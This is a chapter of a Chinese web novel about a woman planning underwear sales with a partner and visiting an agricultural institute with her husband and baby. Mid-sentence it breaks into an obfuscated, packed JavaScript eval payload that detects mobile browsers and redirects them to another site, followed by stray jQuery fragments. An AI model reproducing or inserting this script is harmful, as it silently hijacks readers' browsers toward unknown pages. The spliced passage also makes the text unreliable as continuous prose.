隔天，白春枝同姜淑云说起这事时，姜淑云狠狠地舒了口气。


    “卖不一样的人，年龄层不同，相互没什么交集话的，那就比较好，竞争不大。”


    姜淑云找的小姑娘最终还是决定自己来拿货，本来递了消息再约时间来，这就比人晚了两天。


    外地的就不说了，大家都隔得远，相互间影响不着。


    她是担心本县就这么点儿大的地方，还有好几个推销的，那可咋销了，总不能一条街拐个弯儿能有一两家都在卖吧？


    别东西没卖出去多少，自己人先打起来了，现在这样的情况是最好不过的。


    “倒是你说得这‘顺口溜’，还有点意思。”


    姜淑云摸着下巴又琢磨了两遍，把自己逗笑了。


    “虽然不是那么的朗朗上口，但你不觉得这词尽管太过直白，什么爱不爱的，但反而有种，就像是有人在你耳边念叨，说多了想想似乎也有道理的。”


    “是啊，我先前也在想，为什么能说通大娘们买内衣，我们一开始考虑的是年轻小姑娘们更爱俏。”


    白春枝点点头，说了说，她近来的思考。


    她们这个方向总体讲，也没错，小年轻爱漂亮、喜欢打扮，接受起内衣来，确实快。


    可也不得不承认，买的过程中，3.99的定价，挡住了不少人。


    “大多数的家庭，其实还是女人们当家，最不缺钱的，也是这部分人。”


    “还真是！”


    姜淑云看向白春枝，从她眼中得到了肯定，不禁笑起来。


    可不就是么？


    她们俩就自己握着家里的经济大权，男人的工资都得上交，再加上两个人也挣钱，要买点什么，其实手头还算宽松的，为什么不对自己好点呢？


    “他们在县里市里推销，怕是那些大娘们也是各自单位的一二把手，平时是很体面的，仪态上都会比较注重，这么热的天，咱们的内衣可是很有优势的。”


    “是的，我在想，等其他地方销量都打开了，我们可以试着在出点新的款式了。”


    白春枝因着近来的局面，对她们的销量都比较乐观了，也就不得不提前考虑点新东西了，毕竟目前只有一个款式，实在是有点单一。


    “针对不同年龄层，设计上有些区别，价格也更好说了。”


    “这倒是了，先前我们不是还看了那些个贵的面料么，完全可以用上了，定价上争取有几个档位，这样也好推销，学生们就基础款，其他就高档点。”


    姜淑云想想这走向，就不断地点头了。


    她们本来也计划往省城市里销的，各式各样的人那么多，就得好好区分下，分隔一二三档出来，销售才更有针对性，她们的东西好，再贵都有买得起人。


    “就是之前说的那什么升级，咱们拿不到港岛那边的新面料，就再别的方面努努力了，我跟你说哦，兜里不差钱的，肯定是愿意选择最好的那个了，别的都不好使。”


    “好，那么我们就多朝这个方向试试！”


    白春枝也明白姜淑云说的这个理，任何时候都是这样，总是不缺有钱人，像是她那个时代的官家小姐们，还非绫罗绸缎不穿了，她们既然想赚这个钱，自然是要想想抓人心了。


    “纺织厂打听得怎么样了？我这两天就想去看看了，等你老家那边收到货，这一来一往的，时间上怕是会有点紧。”


    “嗯，我正想跟你说了。”


    姜淑云拍了下脑袋，想起正事来，说着这“顺口溜”都忘了，忙把包里的一张纸打开。


    “第一排的是几个大厂，但我觉得你可以先不用去看，这些都要开条子才给进了。”


    “好，那就先不考虑。”白春枝点点头。


    “剩下的一些，听说有的厂子效益已经不太好了，可以向门卫打探打探，再就是一些小厂子，真自己做的少，但人家是有门路从南方来的货，或者是瑕疵布，你比较懂，可以看看我们能用不？”


    “这个可以。”


    白春枝想着她们本来用料就比较小块，有点瑕疵，只要不是连城片儿都可以避开裁，她私心更想看看南方有哪些货了，要不是路途遥远，她都想亲自去看看的。


    妹妹的来信中，改革开放的南方比起内地，变化可太大了。


    但让白春枝自己想，她又是个没什么见识的，真是想不出来，现在要有这个渠道，倒是能先了解一番。


    说着，白春枝和夫君准备第二天就出门了，只身后还跟个小尾巴。


    “我们珠珠还真是厉害，小小年纪都去过不少地方了。”


    早晨这会儿还不太晒，白春枝给小家伙搭了个白纱巾，瞧她小脑袋偏向外头看。


    想起村里好些老阿婆听说一辈子最远就去过县里，当然，也是因为从前交通不便，出门基本靠双腿，牛车、马车都少，要自己不来这儿的话，估计也是这样了。


    “看她还能不能记得住咯？”


    萧远山见小家伙眼睛睁得圆圆的，像两颗小葡萄，也不知道在看什么？


    “那不是还有你给她拍的照么？”


    家里的照片也有好几张了，夫君学着人家照相馆做了相框，白春枝随时看着也觉得花点钱留个影是很值的。


    “对，还好你给小家伙多收拾了几套衣裳，到时候我们换着拍。”


    萧远山看小猪猪依旧白嫩嫩的，最近似乎也有点长个头了，就很欣慰，别人家的小孩都没自家的崽乖。


    “要老妈看到，估计要说你钱多撑得慌！”


    白春枝抱着小家伙都空不出手来打一下夫君，只好瞪了他一眼，又不是多大的家底，还能照片随时拍啊？


    夫妻俩带着孩子，一路坐车，先到农科院拜访了林老师。


    “诶，远山你来得正好，农户些我都帮你联系好了，你说最近就要来一趟，我才没急着给你打电话了。”


    林茂祥瞧着一家三口来，忙将人迎到办公室，说完就转身去了隔壁，没一会儿就拎了一袋子水果进来。


    “娃娃好大了，能吃辅食不？这东西，你们现在认得到了吧？才带回来的猕猴桃，已经有点软了，孩子要吃的话，正好。”


    “才五个月，要下个月开荤了。”白春枝抱着小珠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636124|187734||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    珠举起她的小手手，教她，“跟爷爷说，我还不能吃了，谢谢爷爷。”


    “啊啊啊！”


    小家伙才不管妈妈在说什么，看着那毛乎乎的果子，这个颜色好像还没见过了，伸手就要去抓。


    “哎哟，看来是喜欢了，等你大点了再吃。”


    林茂祥把袋子递给萧远山，又再关心了几句家里猕猴桃幼苗的情况。


    “种植呢，就是这样，得有耐心了，开花结果总要时间么，何况这是从幼苗开始，幼树到初果都要几年了，才能到盛果期收获了。”


    “嗯，当时想着种这个，就考虑好了的，老二一家都等得起。”


    萧远山点点头，自己山上也种着不少中药，有这个心里准备，就跟着马上要种的川芎一样。


    林茂祥就着萧远山人来了，详细跟他说了下川芎的种植。


    “这次呢，一样是选择根茎繁殖，周期一两年，一般次年五月就差不多可以采收了，你注意这个时间节点，不然再晚要烂根的。”


    当初介绍的时候，林茂祥其实就说得很清楚，不过这次，他也知道萧远山是代表村里来的，又再强调一下。


    “明白，我也跟大伙儿说清楚了，家里的有年轻人的都让抄了手册的。”


    萧远山也掏出随时带着的小册子，毕竟种植要买种苗，花钱的不是小事，他自己得吃透了。


    “我就晓得你是个靠谱的小伙。”


    林茂祥瞧萧远山这么认真，不住的点头，又当着一家三口的面，给那边村头打电话了。


    “这个村呢，你也放心，种植历史悠久，根茎存活率很高的，等下电话通了你自己跟他们约时间啥时候安排车去。”


    “好。”


    萧远山点点头，电话费贵，哪怕是公家的，也没浪费时间，两三句话就讲好了。


    因为还要去看看纺织厂，一家三口也没多留，把家里带来的土月饼和干菌子放下就提了告辞。


    “现在我们往哪儿走？”


    农科院其实还有点偏了，白春枝出来更是觉得打不到方向。


    “先上公交吧！”


    萧远山其实还揣了地图，不过他觉得这趟本来就是来打探的情况，还是多问问才行。


    没几站，萧远山就领着母女俩到了一个厂区附近，只看那墙上的标语，就觉得几个厂子好像都挺大的。


    白春枝抱着一下车又清醒的小家伙，怀疑夫君是不是带她到了姜淑云标注的国营大厂了。


    走近家属区，瞧着三三两两摆龙门的婆婆大娘们，白春枝又觉得熟悉了，和她们巷口也没什么不同的。


    “女子你找哪个哦？”


    一个嗑着瓜子的大娘见白春枝抱着孩子一路东张西望的过来，不由问道。


    “嗨哟，你看她娃娃还白净呢，好久没看到这么好看的小娃娃了。”


    “是个小姑娘哇？”


    “真是白白生生的。”


    “……”


    白春枝听到婆婆大娘们的话，低头一看，才发现小家伙不知道什么时候已经把纱巾扯掉了，还好她小手抓得紧，没丢了。